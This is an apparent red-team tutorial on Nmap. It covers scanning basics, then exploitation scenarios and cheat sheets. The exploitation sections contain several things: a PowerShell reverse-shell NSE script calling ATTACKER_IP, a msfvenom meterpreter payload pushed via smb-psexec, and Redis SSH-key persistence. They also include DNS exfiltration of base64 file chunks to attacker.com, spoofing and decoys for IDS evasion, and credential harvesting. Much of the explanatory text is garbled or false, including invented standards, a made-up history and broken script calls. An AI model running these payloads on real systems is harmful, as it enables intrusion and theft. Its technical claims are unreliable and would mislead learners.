COMPREHENSIVE GUIDE TO NMAP FOR RED TEAMERS

From Zero to Hero

Daily Red Team Academy

INTRODUCTION

Nmap is a powerful network scanning tool that can be used to identify hosts and services in a network. It is a flexible tool, and not only can it be used to identify hosts and services, but it can also be used to validate the security of a network. Throughout this series, we will learn how to use Nmap in red teaming operations. In this first guide, we will go over how Nmap works, different runtime parameters, and different scanning techniques. Why study Nmap? Nmap is a frequently used application in a red teamer's life. It is responsible for scanning networks to identify hosts and services; in the same way, it can be used to find security-related information about the network. Red teamers, in particular, are more drawn to Nmap because of its powerful and stealthy scanning abilities. We will go through in detail the command-line options of Nmap, how to perform different types of scans, and a bit of theory about the different scanning technologies available. What is Nmap? Nmap is a powerful network scanning tool that can be used to explore computers and services in a computer network. It is one of the strongest utilities for scanning a network and can be used for a wide variety of tasks, such as understanding the network topology, discovering hosts and services available, and identifying the operating systems of the devices that are running. Nmap is a well-known and high-performance network scanner that is available on many different platforms, such as Windows, Unix, BSD, and Linux. Because Nmap is open source and free to use, it is easily available and can be installed on a system very quickly.

1.1 WHAT IS NMAP?

Nmap (Network Mapper) is a security scanner. It is used to discover hosts and services on a computer network, thus creating a "map" of the network. To accomplish its goal, Nmap sends specially crafted packets to the target host and then analyzes the responses. Nmap also has the ability to ping a single host or a range of IP addresses, perform reverse DNS resolution, discover devices (and hosts) on the same network or on other connected networks using different techniques, and many other advanced networking tasks while remaining low-level and powerful. Nmap runs on various operating systems. The command line tool in Unix-like operating systems is simply called Nmap; you can run it simply by typing nmap. The GUI is called Zenmap; you can access it by typing zenmap into the terminal.

The basis of Nmap is the raw IP packets it sends. The core element of Nmap is the capability to determine the availability of hosts on a network and to discover what services those hosts are offering. These services are identified by incrementally making deeper context-aware probes into a service, normally HTTP, SSH, SMB, and more, crafting packets, studying responses, and then interpreting the results to establish the target's status. Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses. Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other features. Nmap offers a rich set of features, including bypasses for firewalls, DNS saturation, and fingerprinting service endpoints. Nmap implements a variety of scanning patterns, the most common of which is a TCP connect scan. Nmap adheres to the Minimum Time to Live standard, which states that Nmap only sends packets that are expected to survive the closest targets. Nmap is used to stealthily explore computer networks and analyze network services in order to gain information for security tasks. The use of Nmap to perform security tasks without the computer network owner's permission is illegal in several jurisdictions. As a result, several auditing tools have emerged to ensure that no laws have been broken. These programs are free and open-source and can be used to ensure security.

Nmap is quite powerful and can perform a lot of functions:

- Host discovery includes active hosts on the network, reverse DNS resolution, MAC address, MAC vendor, and MAC vendor with counter.
- Port finding that involves the state of ports on the system (open or closed).
- OS discovery, which includes types of operating systems and OS details running on the hosts.
- Timing and payloads that involve techniques to control scanning phase timing information and payloads used.
- Output enhancements involve techniques to improve the output by showing packets, scripts, and debugging.

- Special tasks involving advanced scanning techniques and tasks including ARP scan, firewalk, fragmentation, idle scan, IP protocol scan, name resolution, source port selection, and scripting engine.
- Profile variables for performance improvement.
- Miscellaneous tasks, including additional options that can add verbosity to the scan's design and the profile definition.
- Comparative analysis that lists differences between the pre-existing Nmap version.
- ResoNmap techniques such as NSE scripts used, host filtering, protocols, ping response, remote scan, and discovery details.

1.2 HISTORY AND DEVELOPMENT

Nmap was originally conceived in the late 1990s, and development started around 1995. When discussing how Nmap came into existence, it was noted that there was frustration when trying to discover a network printer's IP address from a failed print job. There was a desire for a tool that would easily let users do that, and so the first version integrated all the functionality thought to come in handy. The original build was also influenced by a tool already in existence called "Strobe." The name Nmap is derived from its original client-server architecture. Network Mapper; in this context, the word "mapper" is not to be confused with the "mapping" function of other network mappers, but the full N+1 mapping of network and client.

After the transformation of the client-server architecture to the internal architecture, a number of backronyms, such as "Network Mapped," "Network Mapping," etc., were considered, but nothing seemed better than the original name. The features in the initial release of Nmap consisted of "Finding live systems and open ports," "Operating system detection based on simple-scan matching," and "TCP SYN, TCP connect scanning, FTP and Telnet banner grabbing." After Nmap 2.0 was released, the network security community started testing the tool on their networks and reported bugs, requested features, and generally tried to force the tool to do things it was not built to handle. After a number of iterations, Nmap v2.10B2 was released in 1997. In that same year, in November, Nmap made it to the cover of a magazine. From v2.11 on, Nmap was being developed to fix only bugs and backport features to the series. In 1999, Nmap v2.50 with a GUI front-end was released, thus opening the possibility of running it on a Mac.

2. SCANNING TECHNIQUES

We cannot directly compare the scanning techniques. All scanning techniques have their own advantages and disadvantages. If you select a particular technique, then you might benefit from it, but the same technique might not work effectively or as per expectations for another person or at another time. Combining the intelligent use of scanning techniques is the main skill of a master of Nmap. A regular user or newbie normally follows a particular scanning technique step by step without knowing the exact reason behind it. With experience and a deep understanding of the technologies, one can understand all the scanning techniques better and can achieve the desired result effectively and efficiently. Below are the common techniques that are being utilized in Nmap.

2.1. HOST DISCOVERY

The first step in host discovery is to look for active hosts by sending an ICMP echo request. If a router is in the path and the operating system of the target can handle the traffic, an ICMP echo response from the target will reveal its existence. This traffic, along with a timestamp, gives you a sense of the round trip time between the source and the target. Looking at this traffic will also give you an indication of what kind of operating systems the target can detect and how its behavior might change in the presence of this traffic. This is a passive form of host discovery because only the router's path has changed. The sender is completely invisible to the targets. On the positive side, there's no significant impact on the targets. An ICMP probe not getting a response might indicate a firewall that drops ICMP packets or a host that is misconfigured to drop ICMP.

Presence of Traffic: A host discovery technique combining both 'active' and 'passive' forms determines if the target host exists. A spoofed address is injected into the network, and an ARP request is made for this source. If multiple ICMP ping requests are made from the same source, they're most likely all answered by the same target system based on the round trip times. Again, this method may also give you a sense of what kind of targets are around.

2.2. PORT SCANNING TECHNIQUES

2.2.1. Connect Scanning: Connect scanning has always been the most reliable and stable way to scan the whole internet. Companies that are doing port scans of their servers mostly use connect scanning and also scan a hot server. It is a full three-way handshake scan.

- Pros: Near-Stealth Full-Connect Scanning Nearly Trusted Results Scans hot servers without crashing Reliable Stable
- Cons: On a fast network, it may be slow.

2.2.2. Stealth Scanning: One of the other popular scanning methods is Stealth Scanning. There are two scan types that are labeled stealth: SYN and FIN. SYN scanning is also known as half-open scanning because you don't bother wasting the resources to complete the full TCP three-way handshake.

- Pros: Stealthy SYN Scans are useful for ARP spoofing and MITMs.
- Cons: Tends to crash hot servers.

2.2.3. Null/FIN/Xmas Scanning: There are some special scans for other flags like NULL, FIN, and XMAS. NULL and XMAS are similar to FIN and SYN scans, but NULL is different from the others. What is different about NULL and XMAS compared to others? It's different in that it doesn't set a single TCP flag. Because with no remote TCP flags set, the default behavior is different from how most services and operating systems will react to packets sending an RST flag. When a destination port is open, the RST flag is returned.

2.3. SERVICE AND VERSION DETECTION

Service and version detection is not only a basic function of Nmap but also a function that is often used. The flag for this function is "*-sV*". Running this function will give us detailed information on the target application, making reconnaissance easier for us. The reason we can perform service and version detection so easily using Nmap is that most services to be attacked use fixed default ports.

For example, a web server runs on port 80, an SSH service runs on port 22, and a DNS service runs on port 53. Since most services use fixed default ports, checking them one by one is a very simple way to find out which services are in operation. Knowing the version of the service is important in that it can be a crucial factor in the effectiveness of our attack. Different versions of a particular service host different vulnerabilities.

3. ADVANCED NMAP USAGE

In this chapter, you will be introduced to advanced Nmap scans and how they can be used to detect service configurations and versions, define network topologies, and identify various security issues. As Nmap can be used to probe systems for vulnerabilities and security misconfigurations, it is important to understand how Nmap operates behind the scenes and how Nmap can be detected and countered. Some extra Nmap commands will be presented at the end of the chapter. This will allow you to easily convert the output, which will save a significant amount of time. Apart from that, we will also go through interactive scanning, using different alert conditions provided by Nmap when writing custom scripts, as well as developing them. We will wrap up this chapter by covering different ways to filter out Nmap traffic to avoid imperfect detections and, last but not least, to intensify ongoing scans.

In this chapter, you will be shown how to script custom scripts and develop them. You will be given a good starting point for understanding the Nmap Scripting Engine and how it is used. You will also be shown how to write simple scripts, use alert conditions, and output and use the event library. We will end this chapter with additional features, such as service version detection and all service probes. We will finish this guide with a summary, covering both passive and active information-gathering techniques, as well as enhancing your skills using scripting to develop Nmap further. We will conclude with the best practices and scripting checklists.

3.1. SCRIPTING WITH NSE (NMAP SCRIPTING ENGINE)

In NSE, scripts are concise programs that deal with handling TCP connections. The program itself is an integral part of Nmap and handles large parts of service identification and brute force detection. The specification of NSE uses a file with various functions to accomplish this. In a particular file function, a complete interactive TCP connection may be offered depending on the invoked NSE script. Based on the availability of the NSE service scripts, Nmap will find and offer this interaction autonomously. Arguments The selection and administration of scripts are performed by invoking Nmap. The option is used to run Nmap scripts. This will parse the specified script file either from the default directory or the one that can be referred to by using a directory path. A group of scripts can also be run using their category or file types. Script Categories The Nmap scripts can be categorized under the following five classes: default:

These are basic scripts.

- ***auth***: These are the scripts for authentication functions.
- ***broadcast***: These scripts exchange data with systems through local broadcast.
- ***brute***: These scripts are used to crack various types of passwords.
- ***discovery***: These scripts perform service discovery tasks against specific systems.
- ***vuln***: These scripts verify the vulnerability of scan-targeted systems.

Script Types Each script file is a considerably distinct piece of software and is specialized to perform a few tasks of particular network services. The script might consist of multiple pieces to cope with all foreseeable variations. Each script can identify a substitution of the service description on the scan-targeted system. These different pieces or types can be understood by checking the metadata.

Tips: *Do remember to check and be aware of the execute-off policy. This restricts the execution of any valuable Nmap script that endangers the safety of an application or a system. Much of the scripting is supported by default genuine flags and should be used prudently. Do watch out for any 'fake' behavior during the scripting execution. Officially, no simple option can be enabled, and only those authorized functionalities can be utilized.*

3.2. OUTPUT FORMATS AND REPORTING

Finally, gathering the needed data sometimes looks like it is the most difficult part, but it is easy with the right flags. Flags can sometimes be enough. However, without some specific output types and their formatting, it can be very difficult to use or aggregate as needed. These are the most common output formats and some tips for using them.

Using grep to find certain information: after you have performed your scan, you may want to output your results to a specific file or format them in a certain way. The best way to do this is to combine it with grep.

"xml: -oX, --xml"

has built-in XML, a highly useful and powerful format used for a significant portion of the software design. Settings can be adjusted, and output can be aggregated with other data for reporting or data manipulation needs. It can be edited and processed both with scripts or from the command line.

Creating an XML file is done the same way by using the flag "*-oX*" and then the filename or file location needed. By default, this will create an XML file. If you would like to change the file location to a different one, use an equal sign as shown below.

"- A -oX"

An example can be viewed below.

"xml: -oX, --xml"

has built-in XML, a highly useful and powerful format used for a significant portion of the software design. Settings can be adjusted, and output can be aggregated with other data for reporting or data manipulation needs. It can be edited and processed both with scripts or from the command line.

Creating an XML file is done the same way by using the flag "*-oX*" and then the filename or file location needed. By default, this will create an XML file. If you would like to change the file location to a different one, use an equal sign as shown below.

"- A -oX"

An example can be viewed above. After creating a file named *AllPorts.xml*, which contains the raw output from a scan, the raw output inside the XML file can be used with grep to find specific information. Let's test this with a simple comparison against telnet and FTP's banners. By using grep and entering telnet as the script and *AllPorts.xml* as the file location, the usable textual output can be parsed directly from the XML file. This is often preferred from a shell and is useful for aggregation or just gathering specific data.

3.3. PERFORMANCE OPTIMIZATION

Nmap is written in C and primarily uses raw sockets to build and send raw Ethernet frames. Consequently, the tool is extremely fast. However, it does require a lot of CPU. While in an engagement with limited target systems, CPU usage is hardly of concern. However, it can make a huge difference when scanning new networks with thousands of systems. In such a case, it is possible for Nmap to take hours or even days to finish. There are several methods to speed up the scanning process.

Multi-threaded Scanning This is probably the easiest way to optimize performance. Even though this option is normally not enabled by default, Nmap is also capable of multi-threaded scanning. Through parallelization, the tool can run on multiple CPU cores nearly linearly. The command to utilize this feature is of course -T4 with a range from 1 to 5.

Target Specification in Lists A range in CIDR notation is already the most efficient way to specify targets. The next most efficient way to give targets is then, of course, plaintext lists. Target specification with ranges is less optimized than ranges in CIDR notation, and Nmap's infer engine could ignore some of such range specifications while using CIDR ranges instead. Lists of hosts are the least optimized, so shrink your Nmap command lines by using range specifications whenever possible. If working on a large network, the first step is reducing the amount of information the network requires sending while using the amount of information it accumulates with target specifications or options. This means combining ranges to lists in the fewest number of lists of small networks as possible. When several large lists are specified, the traffic can be used less efficiently. The bigger a network is, the more administrators should try to hide within the scope of the list. For those not looking to draw attention to the structure or size of the network, constructs that can be divided differently can be used. For instance, a network is topographically structured in a manner that makes excessive broadcasts impossible to receive, such as small store chains located in separate company offices connected to the same physical network segment. Only a few systems can share a single Ethernet segment in this example, so there is no security problem with having them all present in terms of the number of devices or broadcast exposure. In contrast, 2000 devices from the entire company's network or 300 government devices in the same room can be a cause of concern, or at least a headache to examine the subsequent responses. With this kind of paranoid structure, it’s easy to miss targets.

- **Reducing the Number of Hits:** Reducing the number of hits can be another performance optimization method. With less exposure time, Nmap can increase the number of network scans it can perform without drawing attention. Also, administrators can access the network monitoring console from a low-profile modem or radio channel more easily.
- **Throttle:** There are legitimate reasons why scanning without causing the network to bark may not always be enough. Traffic shaping can also be a reasonable measure by adjusting the amount of traffic produced by the scanner. It gives the administrator time to receive notifications or relative peace of mind knowing the exiled child quit bothering the neighbors. The –max-rate option sets the maximum number of packets Nmap scans per second, while the –min-rate option provides the date for the minimum rate. In essence, the –min-rate option simply makes scans last longer by spacing them out.
- **Minimum Scanning Modes:** If dormant scans are necessary, try to use the most efficient scan mode. This means excluding replies or rate, and using the order of scanning in parallel. Keep also in mind that Nmap slows to allow responses to be shown. The *–min-parallelism*, *–max-rtt-timeout*, and *–max-retries* options can be used to manage such responses, very similar to the *–min-parallelism* option request by default.

4. NMAP FOR RED TEAMING

During the recon process, an offensive security professional uses numerous tools to gather the maximum amount of intel details. Generally, Nmap is the first tool any recon professional would consider using. Nmap is quite straightforward to use and contains various types of practical scan options where you can modify the scripts as per the recon requirements. It is extremely reliable and is always considered a reliable tool while performing any scan. As Red Teamers, we should start focusing on the utilization, tuning, and scripting customization of Nmap.

You can definitely run a scan using the simple command option from Nmap, but why stay simple if complexity is what we embrace the most? As Red Teamers, use Nmap’s feature sets as much as possible. The requirements of Red Teaming are slightly different from conventional network scanning, as we need to stay a little undercover while evading existing IDPS and EDPS. Being stealthy is important for offensive security professionals. At the same time, tools will mold based on the user’s requirements and usage; it’s best to know what it does and what it is capable of! Trust in Nmap is more vital and is widely considered while running a scan. Nmap is a robust tool, but the user plays a pivotal role in the results and information, not the other way around. Ensure you leverage the key options effectively using Nmap command syntax. Protect yourself, and at the same time, stay stealthy. Always keep the OpSec in mind!

4.1. OSINT AND RECONNAISSANCE

During reconnaissance, both the threat actors and defenders gather information to define their strategies. In terms of performance, this process is not highly efficient for either party as multiple pieces of intelligence are often extracted, and the adversaries' strategies are rapidly adjusted according to these new findings. Asset detection, vulnerability discovery, or footprinting a specific network leads to the exposure of unsophisticated threat actors who manually carry out these activities. This problem only attains some level of difficulty if the defenders have a large area to cover and are not aware of what they are protecting. However, if this process is done correctly, and a great deal of new data can be revealed and even documented with a high level of effort, even advanced attackers that collect huge amounts of intelligence can be observed. A well-known tool within this area provides a large number of flags. In this section, these flags and their adjustments will be discussed with a variety of examples. Surely, the flags must be used with a certain degree of caution while making an effort to maintain the ethical framework and the laws to avoid dealing with any undesirable situation.

The following commands include a description of the outputs along with several pieces of technical intuition; a deeper intuition is provided for each command. To avoid dealing with significant problems, scanning foreign networks must be considered highly unethical and must be legally authorized. Command availability in a specific tool is not required, as this depends on the user's previous installations; a virtual machine and a command are required by the community edition.

4.2. EXPLOITATION AND POST-EXPLOITATION TECHNIQUES

Nmap is not merely a reconnaissance tool; its extensibility through scripting and integration with modern frameworks makes it a versatile asset for red teamers during exploitation and post-exploitation phases. This section dives into advanced techniques leveraging Nmap's scripting engines, protocol support, and custom code execution capabilities to achieve precise exploitation and maintain persistence.

4.2.1. EMBEDDED POWERSHELL SCRIPT EXPLOITATION VIA SERVICE VULNERABILITIES

While Nmap's -p option specifies ports, its scripting engine (NSE) enables exploitation of services vulnerable to command injection. By crafting NSE scripts, red teamers can embed PowerShell payloads to execute arbitrary code on Windows targets. For example, exploiting a web server vulnerable to command injection (e.g., via HTTP parameter tampering) could involve injecting a PowerShell reverse shell.

Example NSE Script Skeleton:

```
description = "Injects PowerShell reverse shell via vulnerable parameter"
author = "Red Team"
categories = {"exploit"}

portrule = function(host, port)
  return port.protocol == "tcp" and port.number == 80
end

action = function(host, port)
  local cmd = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.L
ength)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendbac
k = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encod
ing]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Cl
ose()\""
  local path = "/vulnerable-endpoint?param=" .. os.getenv("URL_ENCODE")(cmd)
  local response = http.get(host, port, path)
  return "Payload injected via command injection"
end
```

Usage:

- Replace ATTACKER_IP with your C2 server IP.
- Execute with:

```
nmap -p 80 --script http-vuln-powershell-inject <target>
```

Key Considerations:

- Target service must allow unvalidated command execution.

- Use encoding (e.g., Base64, URL) to evade detection.

4.2.2. NATIVE NMAP SCRIPTING ENGINE (NSE) EXPLOITATION

NSE's pre-built and custom scripts automate the exploitation of known vulnerabilities. Red teamers can leverage the `vuln` and `exploit` script categories for tasks like credential dumping, RCE, and lateral movement.

Common Exploitation Scripts:

- `smb-vuln-ms17-010`: Exploits EternalBlue vulnerability.
- `http-vuln-cve2021-44228`: Log4Shell RCE detection.
- `ssh-brute`: Credential brute-forcing.

Custom Script Example (SMB Credential Dumping):

```
description = "Dumps SMB hashes via anonymous access"
author = "Red Team"
categories = {"exploit"}

portrule = function(host, port)
 return port.number == 445 and port.protocol == "tcp"
end

action = function(host, port)
 local smb = require "smb"
 local status, result = smb.get_shares(host)
 if status then
  smb.share_dump(host, "IPC$") -- Dump IPC$ share for hashes
  return "SMB hashes dumped"
 end
end
```

Usage:

```
nmap -p 445 --script smb-harvest <target>
```

4.2.3. LUA SCRIPTING FOR PROTOCOL-SPECIFIC EXPLOITS

Nmap's Lua engine allows granular control over network interactions. Red teamers can craft protocol-specific exploits (e.g., HTTP, SMB, DNS) using Lua's low-level socket library.

Example: HTTP POST Request with Malicious Payload:

```
local http = require "http"
local io = require "io"
```

```
prerule = function()
 -- Pre-scan logic
end

action = function(host, port)
 local payload = io.open("exploit.bin", "rb"):read("*a")
 local response = http.post(host, port, "/upload", {header={["Content-Type"]="application/octet-stream"}, bo
dy=payload})
 if response.status == 200 then
  return "Exploit payload delivered"
 end
end
```

4.2.4. LUA-ENABLED PROTOCOL SUPPORT

Nmap’s Lua scripts support numerous protocols, enabling red teamers to interact with services like:

- **SMB**: Share enumeration, hash dumping.
- **HTTP/HTTPS**: Web exploitation, API interaction.
- **DNS**: Subdomain brute-forcing, zone transfers.
- **SSL/TLS**: Heartbleed exploitation, cipher downgrades.

Protocol-Specific Libraries:

- smb = require "smb"
- http = require "http"
- dns = require "dns"

4.2.5. LUA SCRIPT SYNTAX AND STRUCTURE

Nmap scripts follow a structured format:

```
-- Metadata
description = "Custom exploit"
author = "Red Team"
license = "Same as Nmap"
categories = {"exploit", "vuln"}

-- Host/port detection logic
portrule = function(host, port)
 return port.protocol == "tcp" and port.number == 443
end

-- Exploit logic
action = function(host, port)
 local vuln = {title = "CVE-2023-0000", state = vulns.STATE.EXPLOIT}
 local exploit = http.post(host, port, "/api/exploit", {body = "malicious_data"})
 if exploit.status == 200 then
  vuln.state = vulns.STATE.EXPLOITED
 end
 return vuln_report:make_output(vuln)
end
```

4.2.6. LOADING CUSTOM LUA SCRIPTS

To load custom Lua scripts:

1. Save the script to `~/.nmap/scripts/`.
2. Update Nmap's script database:
   ```
   nmap --script-updatedb
   ```
3. Execute with:
   ```
   nmap -p 443 --script custom-exploit <target>
   ```

Troubleshooting:

- Use `-d` for debug output.
- Ensure script shebang includes `nmap`'s Lua path:
  `#!/usr/bin/env nmap --script`

5. REAL-WORLD SCENARIOS FOR RED TEAMERS USING NMAP

Nmap's flexibility makes it indispensable for red team operations, from initial reconnaissance to post-exploitation persistence. This chapter explores practical, high-impact scenarios where Nmap shines in real-world engagements, complete with technical workflows, evasion tactics, and operational tradecraft.

5.1 SCENARIO 1: COVERT NETWORK MAPPING IN A RESTRICTED ENVIRONMENT

Objective: Map a segmented corporate network protected by firewalls, IDS, and strict egress filtering.

Challenge:

- All non-SSH traffic is blocked.
- Hosts drop unsolicited probes (e.g., TCP SYN to closed ports).

Technical Approach:

1. **Bypass Egress Filtering with Decoy Probes**:
   Use -D (decoy IPs) and fragmented packets to mask the origin of scans.
   ```
   nmap -sS -D RND:10,192.168.1.100ME -f -T2 -p22,80,443 10.10.0.0/24
   ```
   - RND:10 generates 10 random decoy IPs.
   - 192.168.1.100ME includes the attacker's real IP (masked among decoys).
2. **SSH Service Fingerprinting**:
   Use ssh2-enum-algos to identify weak encryption algorithms:
   ```
   nmap -p22 --script ssh2-enum-algos <target>
   ```
   - Look for deprecated ciphers (e.g., arcfour, 3des-cbc) for exploit planning.

Key Takeaway:

- Combine fragmentation (-f) with timing controls (-T2) to evade heuristic-based IDS.

5.2 SCENARIO 2: EXPLOITING MISCONFIGURED REDIS INSTANCES

Objective: Gain initial access via an internet-facing Redis server with default/no credentials.

Challenge:

- Redis is running on port 6379 with protected-mode disabled.

Technical Approach:

1. **Identify Vulnerable Redis Hosts**:
```
nmap -p6379 --script redis-info <target_range>
```
   - Look for redis_version < 6.0 (pre-ACL) or config get dir revealing writable paths.
2. **Upload SSH Key for Persistence**:
   Use Nmap's redis-cli integration to write a public key to authorized_keys:
```
nmap -p6379 --script redis-brute --script-args redis-brute.username=default,redis-brute.passlist=/path/to/wordlist
```
   - If authentication is bypassed:
```
local socket = nmap.new_socket()
socket:connect("10.0.0.5", 6379)
socket:send("CONFIG SET dir /var/lib/redis/.ssh/\r\n")
socket:send("CONFIG SET dbfilename authorized_keys\r\n")
socket:send("SET payload \"ssh-rsa AAAAB3N...\"\r\n")
socket:send("SAVE\r\n")
```

Key Takeaway:

- Use redis-brute NSE script for credential spraying. Always check dir permissions for code execution.

5.3 SCENARIO 3: LATERAL MOVEMENT VIA SMB VULNERABILITIES

Objective: Escalate privileges and pivot through a Windows domain using EternalBlue (MS17-010).

Challenge:

- Internal hosts are patched, but legacy systems remain unpatched.

Technical Approach:

1. **Identify Vulnerable Hosts**:
```
nmap -p445 --script smb-vuln-ms17-010 10.10.1.0/24
```
   - Look for VULNERABLE status in script output.
2. **Deliver Payload via Nmap + Metasploit Integration**:
   Generate a staged payload and trigger it via Nmap:
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe -o exploit.exe
```
   Use Nmap to upload and execute:
```
nmap -p445 --script smb-psexec --script-args smbusername=admin,smbpass=Passw0rd!,smbdomain=corp,config=exploit.exe 10.10.1.50
```

Key Takeaway:

- Combine Nmap's vulnerability detection with Metasploit/Cobalt Strike for weaponization.

5.4 SCENARIO 4: DATA EXFILTRATION VIA DNS TUNNELING

Objective: Exfiltrate stolen data from a air-gapped network using DNS queries.

Challenge:

- Egress traffic is restricted to DNS (UDP 53).

Technical Approach:

1. **Identify Permissive DNS Resolvers**:
   ```
   nmap -sU -p53 --script dns-recursion <target>
   ```
   - Look for recursion enabled: YES.
2. **Encode and Exfiltrate Data**:
   Use base64 chunking and DNS TXT queries:
   ```
   cat sensitive.txt | base64 | while read chunk; do nmap -sU -p53 --script dns-query --script-args dns-query.name="$chunk.attacker.com",dns-query.type=TXT <dns_server>; done
   ```

Key Takeaway:

- Use --script dns-query for covert channel testing. Monitor for anomalous TXT record volumes.

5.5 SCENARIO 5: EVADING NETWORK TRAFFIC ANALYSIS

Objective: Perform a stealthy scan without triggering SIEM alerts.

Challenge:

- Network traffic is analyzed for scan patterns (e.g., rapid sequential port probes).

Technical Approach:

1. **Randomize Scan Order and Timing**:
   ```
   nmap -sS -iR 1000 --randomize-hosts -T paranoid --scan-delay 30s -p-
   ```
   - -iR 1000: Scan random Internet hosts as cover traffic.

    ◦ --scan-delay 30s: Slow probes to blend with legitimate traffic.

2. **Spoof Source MAC/IP Addresses**:

```
nmap -e eth1 --spoof-mac 0A:1B:2C:3D:4E:5F -S 192.168.50.100 -p443 <target>
```

    ◦ Use a disposable NIC (eth1) and burner IP/MAC.

Key Takeaway:

- Use --spoof-mac and -T paranoid for high-stakes environments.

5.6 SCENARIO 6: POST-EXPLOITATION CREDENTIAL HARVESTING

Objective: Dump credentials from a compromised Linux host.

Technical Approach:

1. **Search for SSH Keys and Configuration Files**:

```
nmap -p22 --script ssh-publickey-acquisition --script-args ssh.usernames='root,ubuntu' <target>
```

    ◦ Acquires public/private keys for lateral movement.

2. **Extract Passwords from Memory**:
   Use linux-ssh-hunter (custom NSE script) to scan process memory:

```
description = "Searches /proc/*/environ for SSH credentials"
action = function(host, port)
 local creds = {}
 local procs = assert(io.popen("find /proc -maxdepth 1 -name '[0-9]*'"))
 for pid in procs:lines() do
  local f = io.open(pid .. "/environ", "rb")
  if f then
   local data = f:read("*a")
   if data:match("SSH_AUTH_SOCK") then
    table.insert(creds, data)
   end
  end
 end
 return stdnse.format_output(true, creds)
end
```

Key Takeaway:

- Custom NSE scripts can automate post-exploitation workflows without dropping tools on disk.

6. NMAP CHEAT SHEETS

6.1. BASICS

Nmap Command	Description
`nmap <target>`	**Scan a Single Target**: Performs a basic scan on the specified target (IP address or hostname).
`nmap <target1> <target2>`	**Scan Multiple Targets**: Scans multiple specified targets.
`nmap 192.168.1.1-50`	**Scan a Range of IPs**: Scans IP addresses from 192.168.1.1 to 192.168.1.50.
`nmap 192.168.1.0/24`	**Scan an Entire Subnet**: Scans all 256 IP addresses in the 192.168.1.0 subnet.
`nmap -p 22,80,443 <target>`	**Scan Specific Ports**: Checks if ports 22, 80, and 443 are open on the target.
`nmap -p- <target>`	**Scan All Ports**: Scans all 65,535 TCP ports on the target.
`nmap -F <target>`	**Fast Scan**: Quickly scans the top 100 most common ports.
`nmap -sP <target>`	**Ping Scan**: Identifies which hosts are up without scanning ports.
`nmap -sS <target>`	**SYN Scan**: Performs a stealthy TCP SYN scan.
`nmap -sU <target>`	**UDP Scan**: Scans for open UDP ports.
`nmap -A <target>`	**Aggressive Scan**: Enables OS detection, version detection, script scanning, and traceroute.
`nmap -O <target>`	**OS Detection**: Attempts to determine the operating system of the target.
`nmap -v <target>`	**Verbose Output**: Provides detailed scan information during execution.

`nmap -oN output.txt <target>`	**Save Output to File**: Saves the scan results in a normal format to 'output.txt'.
`nmap --open <target>`	**Show Only Open Ports**: Displays only open ports in the scan results.
`nmap -iL targets.txt`	**Scan from a List**: Reads targets from the specified file 'targets.txt'.
`nmap -p 1-65535 <target>`	**Scan All Ports**: Scans all ports from 1 to 65535 on the target.
`nmap -p U:53,T:22,80 <target>`	**Scan Specific TCP and UDP Ports**: Scans UDP port 53 and TCP ports 22 and 80.
`nmap -6 <target>`	**IPv6 Scan**: Scans an IPv6 target.
`nmap -sL <target>`	**List Scan**: Lists targets without sending any packets.
`nmap --top-ports 20 <target>`	**Scan Top Ports**: Scans the top 20 most common ports.
`nmap --version`	**Show Nmap Version**: Displays the installed Nmap version.
`nmap -h`	**Help**: Displays the help menu with all options and descriptions.

Nmap Command	**Nmap Command Description**
`nmap <target>`	Basic scan of a target.
`nmap <target1> <target2>`	Scan multiple targets.
`nmap 192.168.1.1-50`	Scan a range of IPs.
`nmap 192.168.1.0/24`	Scan an entire subnet.
`nmap -p 22,80,443 <target>`	Scan specific ports.
`nmap -p- <target>`	Scan all 65535 ports.
`nmap -sV <target>`	Detect service versions.
`nmap -O <target>`	Detect the operating system.
`nmap -sT <target>`	Perform a TCP connect scan (full connection).
`nmap -sS <target>`	Perform a SYN scan (stealth scan).
`nmap -sU <target>`	Perform a UDP scan.
`nmap -A <target>`	Conduct an aggressive scan (includes OS detection, version detection, script scanning, and traceroute).
`nmap -Pn <target>`	Disable host discovery (skip ping).
`nmap -sL <target>`	List targets without scanning.
`nmap -sn <target>`	Perform a ping scan to determine if hosts are alive.
`nmap -oN output.txt <target>`	Save output in normal format.
`nmap -oX output.xml <target>`	Save output in XML format.

`nmap -oG output.gnmap <target>`	Save output in grepable format.
`nmap --script <script> <target>`	Run a specific NSE script.
`nmap --top-ports <number> <target>`	Scan the top N most common ports.
`nmap --script vuln <target>`	Run vulnerability detection scripts.
`nmap -6 <target>`	Perform IPv6 scanning.
`nmap -T4 <target>`	Adjust scan speed (T0 to T5, with T5 being the fastest).
`nmap --version-all <target>`	Perform detailed version detection.
`nmap --traceroute <target>`	Perform traceroute to determine the network path.
`nmap --script=http-* <target>`	Run all HTTP-related scripts.
`nmap -sC <target>`	Run default category scripts.
`nmap --script-timeout <time> <target>`	Set timeout for scripts.
`nmap --max-retries <num> <target>`	Set maximum retries for probe attempts.
`nmap --scan-delay <time> <target>`	Set delay between packets during a scan.
`nmap --data-length <length> <target>`	Append random data to sent packets.
`nmap --ttl <value> <target>`	Set TTL (Time-To-Live) value for packets.
`nmap -D <decoys> <target>`	Use decoys to obfuscate the source of the scan.
`nmap --spoof-mac <MAC address/vendor> <target>`	Spoof the MAC address of the scanning machine.

`nmap --exclude <targets>`	Exclude specific targets from the scan.
`nmap --exclude-file <file>`	Exclude targets listed in a file.
`nmap --reason <target>`	Show reasons for host or port state changes.
`nmap --defeat-rst-ratelimit <target>`	Bypass target's RST rate-limiting mechanisms.
`nmap --append-output <target>`	Append scan results to an existing output file.
`nmap --badsum <target>`	Send packets with invalid checksums.
`nmap -sN <target>`	Perform a Null scan (no flags set).
`nmap -sF <target>`	Perform a FIN scan (FIN flag set).
`nmap -sX <target>`	Perform an Xmas scan (FIN, PSH, and URG flags set).
`nmap --script=ftp-anon <target>`	Check for anonymous FTP login.
